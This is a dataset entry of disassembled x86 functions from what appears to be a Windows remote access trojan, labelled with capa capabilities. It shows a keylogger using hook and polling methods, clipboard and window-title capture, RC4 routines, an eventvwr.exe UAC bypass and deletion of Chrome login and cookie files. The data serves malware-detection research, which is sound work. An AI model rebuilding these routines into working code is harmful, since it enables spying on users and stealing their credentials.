joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404ca3
Capabilities:
Create thread

Disassembly:
sub esp, 0x38
and dword [esp + 4], 0
push ebx
push ebp
push esi
mov esi, ecx
lea ecx, [esp + 0x14]
push edi
and dword [esi + 0x54], 0
call fcn.004020bf
mov bh, byte [esp + 0x54]
lea eax, [esi + 0x58]
mov edi, dword [esp + 0x4c]
push eax
lea eax, [esp + 0x18]
mov ecx, edi
push eax
call fcn.00401f8b
push eax
mov ecx, esi
call fcn.00404edb
test al, al
je 0x404df3
movzx ecx, byte [esi + 0x30]
mov ebp, dword [esp + 0x14]
mov dword [esp + 0x54], ecx
add ebp, ecx
mov ecx, edi
call fcn.0040245c
cmp ebp, eax
jbe 0x404d11
mov ecx, edi
mov bl, 1
call fcn.0040245c
mov ecx, ebp
sub ecx, eax
mov dword [esi + 0x54], ecx
jmp 0x404d13
xor bl, bl
test bl, bl
jne 0x404df3
push 0xffffffffffffffff
push dword [esp + 0x58]
lea eax, [esp + 0x38]
mov ecx, edi
push eax
call fcn.00404182
push eax
lea ecx, [esp + 0x1c]
call fcn.00401fc2
lea ecx, [esp + 0x30]
call fcn.00401fb8
push dword [esp + 0x14]
lea eax, [esp + 0x34]
push 0
push eax
lea ecx, [esp + 0x24]
call fcn.00404182
push eax
lea ecx, [esp + 0x1c]
call fcn.00401fc2
lea ecx, [esp + 0x30]
call fcn.00401fb8
lea eax, [esp + 0x18]
test bh, bh
jne 0x404d84
sub esp, 0x18
mov ecx, esp
push eax
call fcn.004020d6
push esi
call dword [esp + 0x6c]
add esp, 0x1c
jmp 0x404dc1
push eax
lea ecx, [esi + 0xc]
call fcn.00401fa0
xor eax, eax
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.DLL_CreateEventA]
mov dword [esi + 0x24], eax
xor eax, eax
push eax
push eax
push esi
push dword [esp + 0x5c]
push eax
push eax
call dword [sym.imp.KERNEL32.DLL_CreateThread]
push 0xffffffffffffffff
push dword [esi + 0x24]
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
push dword [esi + 0x24]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 0xffffffffffffffff
push ebp
lea eax, [esp + 0x38]
mov ecx, edi
push eax
call fcn.00404182
push eax
mov ecx, edi
call fcn.00401fc2
lea ecx, [esp + 0x30]
call fcn.00401fb8
mov ecx, edi
call fcn.0040245c
test eax, eax
lea eax, [esi + 0x58]
jne 0x404cc9
lea ecx, [esp + 0x18]
call fcn.00401fb8
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x38
ret 0xc

Function at 0x404f31
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push esi
mov esi, ecx
push edi
cmp byte [esi + 0x5c], 0
jne 0x404fca
cmp byte [ebp + 0xc], 0
mov edi, dword [ebp + 8]
jne 0x404f54
mov byte [esi + 0x7c], 1
jmp 0x404fa0
cmp byte [0x46fd10], 0
je 0x404fa0
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.DLL_GetLocalTime]
mov edx, edi
lea ecx, [ebp - 0x28]
call fcn.00419b16
sub esp, 0x18
mov edx, str.Connection_KeepAlive___Enabled__Timeout:
mov ecx, esp
push eax
call fcn.004052dd
sub esp, 0x14
mov ecx, esp
push 0x462f54
call fcn.00402073
call fcn.004194da
add esp, 0x30
lea ecx, [ebp - 0x28]
call fcn.00401fb8
mov dword [esi + 0x74], edi
xor edi, edi
push edi
push edi
push edi
push edi
mov byte [esi + 0x5c], 1
call dword [sym.imp.KERNEL32.DLL_CreateEventA]
push edi
push edi
push esi
push 0x405130
push edi
push edi
mov dword [esi + 0x60], eax
call dword [sym.imp.KERNEL32.DLL_CreateThread]
mov al, 1
jmp 0x404fcc
xor al, al
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
Function at 0x4061e3
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebx
push ebp
push esi
xor esi, esi
push edi
mov edi, ecx
mov eax, esi
movd xmm0, eax
pshufd xmm0, xmm0, 0
paddd xmm0, xmmword [0x469e60]
movups xmmword [edi + eax*4], xmm0
add eax, 4
cmp eax, 0x100
jl 0x4061ed
mov ebp, dword [esp + 0x14]
mov ebx, esi
xor edx, edx
mov eax, ebx
div dword [esp + 0x18]
movzx eax, byte [edx + ebp]
add eax, dword [edi + ebx*4]
add esi, eax
and esi, 0x800000ff
jns 0x406233
dec esi
or esi, 0xffffff00
inc esi
mov cl, byte [edi + ebx*4]
mov eax, dword [edi + esi*4]
mov dword [edi + ebx*4], eax
inc ebx
movzx eax, cl
mov dword [edi + esi*4], eax
cmp ebx, 0x100
jl 0x406212
pop edi
pop esi
pop ebp
pop ebx
ret 8

Function at 0x406252
Capabilities:
Encrypt data using rc4 prga

Disassembly:
sub esp, 0x400
lea eax, [esp]
push ebx
push esi
push edi
push 0x400
push ecx
xor esi, esi
push eax
mov edi, esi
call fcn.004346b0
mov edx, dword [esp + 0x420]
add esp, 0xc
mov ebx, esi
add edx, 1
je 0x4062e2
push ebp
mov ebp, dword [esp + 0x414]
inc esi
and esi, 0x800000ff
jns 0x406298
dec esi
or esi, 0xffffff00
inc esi
mov eax, dword [esp + esi*4 + 0x10]
add edi, eax
and edi, 0x800000ff
jns 0x4062ae
dec edi
or edi, 0xffffff00
inc edi
mov cl, al
mov eax, dword [esp + edi*4 + 0x10]
mov dword [esp + esi*4 + 0x10], eax
movzx eax, cl
mov dword [esp + edi*4 + 0x10], eax
mov ecx, dword [esp + esi*4 + 0x10]
add ecx, eax
and ecx, 0x800000ff
jns 0x4062d5
dec ecx
or ecx, 0xffffff00
inc ecx
mov al, byte [esp + ecx*4 + 0x10]
xor byte [ebx + ebp], al
inc ebx
cmp ebx, edx
jb 0x406287
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x400
ret 8

Function at 0x4066a6
Capabilities:
Create process on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
cmp dword [0x46e9c0], 0
push esi
je 0x4066be
xor eax, eax
inc eax
jmp 0x40679b
call fcn.00406844
cmp eax, 0x3a9f
jge 0x40679b
push ecx
push 0x463050
push 0x4630c8
mov edx, connect
lea ecx, [ebp - 0x18]
call fcn.00411f91
pop ecx
pop ecx
mov esi, 0x472248
mov ecx, esi
call fcn.0040245c
push eax
mov ecx, esi
call fcn.00401f8b
push eax
lea ecx, [ebp - 0x18]
call fcn.0040245c
inc eax
lea ecx, [ebp - 0x18]
push eax
call fcn.00401f8b
push eax
push str.origmsc
mov ecx, 0x472200
call fcn.00401f8b
mov edx, eax
call fcn.00412338
add esp, 0x18
push 2
sub esp, 0x18
mov ecx, esp
push 0x46fb08
call fcn.0040415e
mov esi, 0x469654
mov edx, 0x4630f0
push esi
mov ecx, connect
call fcn.00412204
push str.eventvwr.exe
mov dl, 0x34
lea ecx, [ebp - 0x30]
call fcn.0040c5a1
add esp, 0x24
lea ecx, [ebp - 0x30]
push 0
push esi
push esi
call fcn.00401ee4
push eax
push 0x4630ac
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
jbe 0x406788
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
lea ecx, [ebp - 0x30]
call fcn.00401ee9
lea ecx, [ebp - 0x18]
call fcn.00401fb8
push 2
pop eax
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4068cd
Capabilities:
Enumerate files on windows

Disassembly:
sub esp, 0x2a0
lea eax, [esp + 0x4c]
lea ecx, [esp + 0x2a4]
push ebx
push ebp
push esi
push eax
call fcn.00401ee4
push eax
call dword [sym.imp.KERNEL32.DLL_FindFirstFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x406917
sub esp, 0x18
lea edx, [esp + 0x2c8]
mov ecx, esp
call fcn.00419c8a
push 0x54
mov ecx, 0x471f70
call fcn.00404a81
jmp 0x4069de
lea ecx, [esp + 0x10]
call fcn.004020bf
lea eax, [esp + 0x84]
push eax
lea ecx, [esp + 0x2c]
call fcn.0040415e
mov edx, 0x4631c8
mov ecx, eax
call fcn.00408197
lea ecx, [esp + 0x28]
mov bl, al
call fcn.00401ee9
mov ebp, 0x250
test bl, bl
je 0x4069aa
push ebp
lea eax, [esp + 0x5c]
push eax
lea ecx, [esp + 0x30]
call fcn.00402097
push eax
lea ecx, [esp + 0x14]
call fcn.00401fc2
lea ecx, [esp + 0x28]
jmp 0x4069a5
push ebp
lea eax, [esp + 0x5c]
push eax
lea ecx, [esp + 0x48]
call fcn.00402097
push eax
lea edx, [esp + 0x14]
lea ecx, [esp + 0x2c]
call fcn.004081a6
pop ecx
push eax
lea ecx, [esp + 0x14]
call fcn.00401fc2
lea ecx, [esp + 0x28]
call fcn.00401fb8
lea ecx, [esp + 0x40]
call fcn.00401fb8
lea eax, [esp + 0x58]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_FindNextFileW]
test eax, eax
jne 0x406970
sub esp, 0x18
lea eax, [esp + 0x28]
mov ecx, esp
push eax
call fcn.004020d6
push 0x50
mov ecx, 0x471f70
call fcn.00404a81
lea ecx, [esp + 0x10]
call fcn.00401fb8
lea ecx, [esp + 0x2b0]
call fcn.00401ee9
pop esi
pop ebp
pop ebx
add esp, 0x2a0
ret
Function at 0x4069f4
Capabilities:
Delete file
Move file
Write file on windows

Disassembly:
mov eax, 0x186e4
call fcn.00454890
push ebx
push ebp
push esi
mov esi, ecx
lea edx, [esp + 0x186fc]
push edi
xorps xmm0, xmm0
mov dword [esp + 0x18], esi
xor ebx, ebx
movlpd qword [esp + 0x10], xmm0
push 0x4631cc
lea ecx, [esp + 0x3c]
mov dword [esp + 0x20], ebx
call fcn.004081c7
pop ecx
push eax
lea ecx, [esp + 0x24]
call fcn.00403242
lea ecx, [esp + 0x38]
call fcn.00401ee9
push ebx
push 0x80
push 2
push ebx
push ebx
push 4
lea ecx, [esp + 0x38]
call fcn.00401ee4
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
mov ebp, eax
mov eax, dword [esp + 0x186fc]
cmp dword [esp + 0x14], eax
ja 0x406add
mov edi, dword [esp + 0x186f8]
jae 0x406ad7
push ecx
push 0x186a0
lea eax, [esp + 0x58]
mov ecx, esi
push eax
call fcn.00404b76
mov esi, eax
cdq
add dword [esp + 0x10], eax
lea eax, [esp + 0x1c]
push ebx
adc dword [esp + 0x18], edx
push eax
push esi
lea eax, [esp + 0x5c]
push eax
push ebp
call dword [sym.imp.KERNEL32.DLL_WriteFile]
sub esp, 0x18
lea eax, [esp + 0x28]
mov ecx, esp
push 8
push eax
call fcn.00402097
mov ecx, dword [esp + 0x30]
push 0x57
call fcn.00404a81
test esi, esi
jle 0x406b25
mov eax, dword [esp + 0x186fc]
mov esi, dword [esp + 0x18]
cmp dword [esp + 0x14], eax
jb 0x406a74
ja 0x406add
cmp dword [esp + 0x10], edi
jb 0x406a74
push ebp
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
lea ecx, [esp + 0x18700]
call fcn.00401ee4
push eax
lea ecx, [esp + 0x24]
call fcn.00401ee4
push eax
call dword [sym.imp.KERNEL32.DLL_MoveFileW]
mov bl, 1
lea ecx, [esp + 0x20]
call fcn.00401ee9
lea ecx, [esp + 0x18700]
call fcn.00401ee9
pop edi
pop esi
pop ebp
mov al, bl
pop ebx
add esp, 0x186e4
ret
push ebp
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
lea ecx, [esp + 0x20]
call fcn.00401ee4
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileW]
jmp 0x406b03

Function at 0x406b3e
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
push esi
push edi
mov esi, ecx
call fcn.004020bf
lea ecx, [ebp + 8]
call fcn.00401f8b
mov edi, eax
jmp 0x406bc5
push 0xa
lea eax, [ebp - 4]
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_GetDriveTypeA]
push eax
call fcn.0043f34f
add esp, 0xc
lea eax, [ebp - 4]
lea ecx, [ebp - 0x4c]
push 0x2d
push eax
call fcn.00402073
mov ecx, eax
call fcn.00401f8b
push eax
mov edx, esi
lea ecx, [ebp - 0x34]
call fcn.0040822a
pop ecx
mov edx, eax
lea ecx, [ebp - 0x1c]
call fcn.0040826c
pop ecx
push eax
mov ecx, esi
call fcn.00401fc2
lea ecx, [ebp - 0x1c]
call fcn.00401fb8
lea ecx, [ebp - 0x34]
call fcn.00401fb8
lea ecx, [ebp - 0x4c]
call fcn.00401fb8
push edi
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
inc edi
add edi, eax
cmp byte [edi], 0
jne 0x406b59
lea ecx, [ebp + 8]
call fcn.00401fb8
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x409203
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c
lea eax, [ebp + 8]
push ebx
push esi
mov esi, ecx
push edi
push eax
lea ecx, [esi + 0x60]
mov byte [esi + 0x49], 1
call fcn.0040a83c
cmp byte [0x46e9c4], 0x32
mov edi, str.Offline_Keylogger_Started
je 0x409257
push edi
lea ecx, [esp + 0x14]
call fcn.00402073
sub esp, 0x18
lea edx, [esp + 0x28]
mov ecx, esp
call fcn.00419bca
mov ecx, esi
call fcn.0040a0b0
lea ecx, [esp + 0x10]
call fcn.00401fb8
sub esp, 0x18
mov ecx, esp
push edi
call fcn.00402073
sub esp, 0x18
mov ecx, esp
push 0x462f54
call fcn.00402073
call fcn.004194da
mov edi, dword [sym.imp.KERNEL32.DLL_CreateThread]
add esp, 0x30
xor ebx, ebx
push ebx
push ebx
push esi
push 0x409305
push ebx
push ebx
call edi
cmp dword [esi], ebx
jne 0x40929d
push ebx
push ebx
push esi
push 0x4092ef
push ebx
push ebx
call edi
push ebx
push ebx
push esi
push 0x409311
push ebx
push ebx
call edi
lea ecx, [ebp + 8]
call fcn.00401ee9
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x18

Function at 0x4092ba
Capabilities:
Create thread

Disassembly:
push esi
mov esi, ecx
lea eax, [esp + 8]
push eax
lea ecx, [esi + 0x60]
call fcn.0040a83c
cmp byte [esi + 0x49], 0
jne 0x4092e2
xor eax, eax
push eax
push eax
push esi
push 0x4092fb
push eax
push eax
call dword [sym.imp.KERNEL32.DLL_CreateThread]
lea ecx, [esp + 8]
call fcn.00401ee9
pop esi
ret 0x18

Function at 0x409340
Capabilities:
Log keystrokes via application hook

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x38
push esi
mov esi, ecx
push edi
xor edi, edi
mov dword [0x46faf4], esi
cmp dword [esi], edi
jne 0x4093bb
push edi
push edi
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push eax
push 0x40932c
push 0xd
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
mov dword [esi], eax
test eax, eax
jne 0x4093bb
call dword [sym.imp.KERNEL32.DLL_GetLastError]
mov edx, eax
lea ecx, [esp + 0xc]
call fcn.00419b16
sub esp, 0x18
mov edx, str.Keylogger_initialization_failure:_error
mov ecx, esp
push eax
call fcn.004052dd
sub esp, 0x14
mov ecx, esp
push 0x462eb8
call fcn.00402073
call fcn.004194da
add esp, 0x30
lea ecx, [esp + 0xc]
call fcn.00401fb8
xor eax, eax
inc eax
jmp 0x4093e9
push edi
push edi
push edi
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x4093e7
lea eax, [esp + 0x24]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [esp + 0x24]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageA]
cmp dword [esi], edi
jne 0x4093bb
xor eax, eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x409468
Capabilities:
Get keyboard layout
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x124
push ebx
push esi
push edi
push 0x100
lea eax, [ebp - 0x124]
mov ebx, ecx
push 0
push eax
call fcn.00434c30
add esp, 0xc
lea edi, [ebp - 0x22]
xor eax, eax
mov word [ebp - 0x24], ax
push 7
pop ecx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
call dword [sym.imp.USER32.dll_GetForegroundWindow]
lea ecx, [ebp - 4]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push eax
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
push 0x10
mov esi, eax
call dword [sym.imp.USER32.dll_GetKeyState]
lea eax, [ebp - 0x124]
push eax
call dword [sym.imp.USER32.dll_GetKeyboardState]
push esi
push 0
push 0x10
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x124]
push eax
push dword [ebx + 0x50]
push dword [ebx + 0x4c]
call dword [sym.imp.USER32.dll_ToUnicodeEx]
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x24]
push eax
call fcn.0040415e
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x40966d
Capabilities:
Get file size

Disassembly:
mov eax, dword [0x4720b0]
or eax, dword [0x4720b4]
push ebx
push esi
push edi
mov esi, ecx
je 0x40971a
xor ebx, ebx
mov byte [esi + 0x39], bl
push ebx
push 0x80
push 3
push ebx
push 7
push connect
mov ecx, 0x472068
call fcn.00401ee4
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x4096ee
push ebx
push edi
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
cmp ebx, dword [0x4720b4]
jb 0x4096e5
ja 0x4096ca
cmp eax, dword [0x4720b0]
jb 0x4096e5
mov byte [esi + 0x39], 1
cmp byte [esi + 0x49], bl
je 0x4096da
mov ecx, esi
call fcn.0040a025
push 0x2710
call dword [sym.imp.KERNEL32.DLL_Sleep]
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
jmp 0x4096f1
mov byte [esi + 0x39], bl
cmp byte [esi + 0x39], 1
je 0x409688
cmp byte [esi + 0x49], bl
jne 0x40971a
cmp byte [0x46e9c4], 0x31
jne 0x40971a
sub esp, 0x18
lea eax, [esi + 0x60]
mov ecx, esp
push eax
call fcn.00408098
mov ecx, esi
call fcn.00409203
pop edi
pop esi
pop ebx
ret
Function at 0x40971e
Capabilities:
Check if file exists
Create directory
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x460
push ebx
push ebp
mov ebx, ecx
push esi
push edi
lea ebp, [ebx + 4]
push 0x1388
call dword [sym.imp.KERNEL32.DLL_Sleep]
mov ecx, ebx
call fcn.0040966d
mov edx, 0x469654
mov ecx, ebp
call fcn.00408197
test al, al
je 0x409925
mov ecx, 0x472080
call fcn.00406131
test al, al
jne 0x40977a
push 0
mov ecx, 0x472080
call fcn.00401ee4
push eax
call dword [sym.imp.KERNEL32.DLL_CreateDirectoryW]
lea edi, [ebx + 0x60]
mov ecx, edi
call fcn.00401ee4
push eax
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesW]
test al, 2
je 0x4097a2
push 0x80
mov ecx, edi
call fcn.00401ee4
push eax
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesW]
push 0x12
mov ecx, 0x471ffc
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
cmp byte [eax], 0
jne 0x4097e6
push 1
mov ecx, edi
call fcn.00401ee4
push eax
mov ecx, ebp
call fcn.0040245c
mov esi, eax
mov ecx, ebp
add esi, esi
call fcn.00401ee4
mov edx, esi
mov ecx, eax
call fcn.0041a17b
pop ecx
pop ecx
jmp 0x4098f1
lea ecx, [esp + 0x10]
call fcn.004020bf
mov ecx, 0x472248
call fcn.0040245c
push eax
mov ecx, 0x472248
call fcn.00401f8b
push eax
lea ecx, [esp + 0x78]
call fcn.004061cd
mov ecx, edi
call fcn.00401ee4
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x40987d
lea ecx, [esp + 0x28]
call fcn.004020bf
mov ecx, edi
call fcn.00401ee4
lea edx, [esp + 0x28]
mov ecx, eax
call fcn.0041a20f
test al, al
je 0x409874
lea ecx, [esp + 0x28]
call fcn.0040245c
push eax
lea ecx, [esp + 0x2c]
call fcn.00401f8b
push eax
lea eax, [esp + 0x48]
push eax
lea ecx, [esp + 0x7c]
call fcn.004062ee
push eax
lea ecx, [esp + 0x14]
call fcn.00401fc2
lea ecx, [esp + 0x40]
call fcn.00401fb8
lea ecx, [esp + 0x28]
call fcn.00401fb8
mov ecx, ebp
call fcn.0040245c
add eax, eax
mov ecx, ebp
push eax
call fcn.00401ee4
push eax
lea ecx, [esp + 0x48]
call fcn.00402097
push eax
lea ecx, [esp + 0x14]
call fcn.00403356
lea ecx, [esp + 0x40]
call fcn.00401fb8
lea ecx, [esp + 0x10]
call fcn.0040245c
push eax
lea ecx, [esp + 0x14]
call fcn.00401f8b
push eax
lea eax, [esp + 0x60]
push eax
lea ecx, [esp + 0x7c]
call fcn.004062ee
mov ecx, edi
call fcn.00401ee4
mov edx, eax
lea ecx, [esp + 0x58]
call fcn.0041a27c
lea ecx, [esp + 0x58]
call fcn.00401fb8
lea ecx, [esp + 0x10]
call fcn.00401fb8
push 0x469654
mov ecx, ebp
call fcn.00408093
push 0x13
mov ecx, 0x471ffc
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
cmp byte [eax], 0
je 0x409925
push 6
mov ecx, edi
call fcn.00401ee4
push eax
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesW]
cmp byte [ebx + 0x49], 0
jne 0x409733
pop edi
xor eax, eax
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x409c1f
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x74
push ebx
push esi
push edi
mov edi, ecx
cmp byte [edi + 0x49], 0
jne 0x409c3d
cmp byte [edi + 0x4a], 0
je 0x409e2e
mov eax, dword fs:[0x2c]
mov ecx, dword [eax]
mov eax, dword [0x473bd8]
cmp eax, dword [ecx + 4]
jle 0x409c87
push 0x473bd8
call fcn.0043219b
cmp dword [0x473bd8], 0xffffffff
pop ecx
jne 0x409c87
mov ecx, 0x473bdc
call fcn.00401f66
push 0x4551b6
call fcn.00432525
mov dword [esp], 0x473bd8
call fcn.0043215c
pop ecx
push 0x1f4
call dword [sym.imp.KERNEL32.DLL_Sleep]
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov ebx, eax
push ebx
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
mov esi, eax
push 0
lea ecx, [esi + 1]
push ecx
lea ecx, [esp + 0x28]
call fcn.0040a854
test esi, esi
je 0x409d5c
lea ecx, [esp + 0x20]
call fcn.0040245c
push eax
lea ecx, [esp + 0x24]
call fcn.00401ee4
push eax
push ebx
call dword [sym.imp.USER32.dll_GetWindowTextW]
mov edx, 0x473bdc
lea ecx, [esp + 0x20]
call fcn.0040a90d
test al, al
jne 0x409d5c
lea eax, [esp + 0x20]
mov ecx, 0x473bdc
push eax
call fcn.0040a83c
lea ecx, [esp + 0x20]
call fcn.0040245c
dec eax
lea ecx, [esp + 0x20]
push eax
call fcn.00408080
sub esp, 0x18
lea eax, [esp + 0x38]
cmp byte [0x472053], 0
je 0x409d2b
mov ecx, esp
push eax
call fcn.00408098
mov ecx, edi
call fcn.0040a0b0
jmp 0x409d5c
mov esi, esp
lea ecx, [esp + 0x50]
push 0x463384
push eax
mov edx, 0x46338c
call fcn.0040a8cc
pop ecx
mov edx, eax
mov ecx, esi
call fcn.00402ff4
pop ecx
mov ecx, edi
call fcn.0040962e
lea ecx, [esp + 0x38]
call fcn.00401ee9
mov ecx, edi
call fcn.0040a694
call fcn.00419ac6
mov esi, 0xea60
cmp eax, esi
jb 0x409e17
mov ebx, dword [esp + 0x10]
cmp byte [edi + 0x49], 0
jne 0x409d89
cmp byte [edi + 0x4a], 0
je 0x409e25
call fcn.00419ac6
cmp eax, esi
jb 0x409da5
mov ebx, eax
push 0x3e8
mov dword [esp + 0x14], ebx
call dword [sym.imp.KERNEL32.DLL_Sleep]
jmp 0x409d79
push 0xa
lea eax, [esp + 0x18]
xor edx, edx
push eax
mov eax, ebx
div esi
push eax
call fcn.0043f34f
add esp, 0xc
lea eax, [esp + 0x14]
lea ecx, [esp + 0x68]
push str._minutes__r_n
push eax
call fcn.00402073
push eax
mov edx, str._r_n_User_has_been_idle_for
lea ecx, [esp + 0x58]
call fcn.004052dd
pop ecx
mov edx, eax
lea ecx, [esp + 0x3c]
call fcn.00408209
sub esp, 0x14
mov edx, eax
mov ecx, esp
call fcn.00419bca
mov ecx, edi
call fcn.0040962e
lea ecx, [esp + 0x38]
call fcn.00401fb8
lea ecx, [esp + 0x50]
call fcn.00401fb8
lea ecx, [esp + 0x68]
call fcn.00401fb8
lea ecx, [esp + 0x20]
call fcn.00401ee9
jmp 0x409c2d
lea ecx, [esp + 0x20]
call fcn.00401ee9
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x409e37
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
mov esi, ecx
push edi
cmp byte [esi + 0x4a], 0
jne 0x409ed1
mov edi, str.Online_Keylogger_Started
mov byte [esi + 0x4a], 1
push edi
lea ecx, [ebp - 0x18]
call fcn.00402073
sub esp, 0x18
lea edx, [ebp - 0x18]
mov ecx, esp
call fcn.00419bca
mov ecx, esi
call fcn.0040a0b0
lea ecx, [ebp - 0x18]
call fcn.00401fb8
sub esp, 0x18
mov ecx, esp
push edi
call fcn.00402073
sub esp, 0x18
mov ecx, esp
push 0x462f54
call fcn.00402073
call fcn.004194da
mov edi, dword [sym.imp.KERNEL32.DLL_CreateThread]
xor ebx, ebx
add esp, 0x30
cmp byte [esi + 0x49], bl
jne 0x409ec5
cmp dword [esi], ebx
jne 0x409eb9
push ebx
push ebx
push esi
push 0x4092ef
push ebx
push ebx
call edi
push ebx
push ebx
push esi
push 0x409311
push ebx
push ebx
call edi
push ebx
push ebx
push esi
push 0x40931d
push ebx
push ebx
call edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40a65a
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push esi
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x40a67e
push 0xd
call dword [sym.imp.USER32.dll_GetClipboardData]
mov esi, eax
call dword [sym.imp.USER32.dll_CloseClipboard]
test esi, esi
je 0x40a67e
push esi
jmp 0x40a683
push 0x469654
mov ecx, dword [esp + 0xc]
call fcn.0040415e
mov eax, dword [esp + 8]
pop esi
ret 4

Function at 0x40a7f2
Capabilities:
Delete directory
Delete file
Terminate thread

Disassembly:
push ebx
xor ebx, ebx
push ebx
push 0x409305
mov byte [0x472051], bl
call dword [sym.imp.KERNEL32.DLL_TerminateThread]
mov eax, dword [0x472008]
test eax, eax
je 0x40a829
push eax
call dword [sym.imp.USER32.dll_UnhookWindowsHookEx]
push ebx
push 0x4092ef
mov dword [0x472008], ebx
call dword [sym.imp.KERNEL32.DLL_TerminateThread]
mov ecx, 0x472008
pop ebx
jmp fcn.0040a7b5

Function at 0x40a953
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
push str.AppDataLocalGoogleChromeUser_DataDefaultLogin_Data
push 0x46364c
call fcn.00439e6a
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.00402073
mov edx, eax
lea ecx, [ebp - 0x18]
call fcn.00408209
pop ecx
lea ecx, [ebp - 0x30]
call fcn.00401fb8
lea ecx, [ebp - 0x18]
call fcn.00401f8b
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
test eax, eax
jne 0x40a9ba
call dword [sym.imp.KERNEL32.DLL_GetLastError]
dec eax
sub eax, 1
je 0x40a9ae
sub eax, 1
je 0x40a9ae
xor bl, bl
jmp 0x40a9d3
sub esp, 0x18
mov ecx, esp
push str._n_Chrome_StoredLogins_not_found_
jmp 0x40a9c4
sub esp, 0x18
mov ecx, esp
push str._n_Chrome_StoredLogins_found__cleared__
call fcn.00402073
call fcn.0040b119
mov bl, 1
add esp, 0x18
lea ecx, [ebp - 0x18]
call fcn.00401fb8
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40a9e2
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
push str.AppDataLocalGoogleChromeUser_DataDefaultCookies
push 0x46364c
call fcn.00439e6a
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.00402073
mov edx, eax
lea ecx, [ebp - 0x18]
call fcn.00408209
pop ecx
lea ecx, [ebp - 0x30]
call fcn.00401fb8
lea ecx, [ebp - 0x18]
call fcn.00401f8b
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
test eax, eax
jne 0x40aa49
call dword [sym.imp.KERNEL32.DLL_GetLastError]
dec eax
sub eax, 1
je 0x40aa3d
sub eax, 1
je 0x40aa3d
xor bl, bl
jmp 0x40aa62
sub esp, 0x18
mov ecx, esp
push str._n_Chrome_Cookies_not_found_
jmp 0x40aa53
sub esp, 0x18
mov ecx, esp
push str._n_Chrome_Cookies_found__cleared__
call fcn.00402073
call fcn.0040b119
mov bl, 1
add esp, 0x18
lea ecx, [ebp - 0x18]
call fcn.00401fb8
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret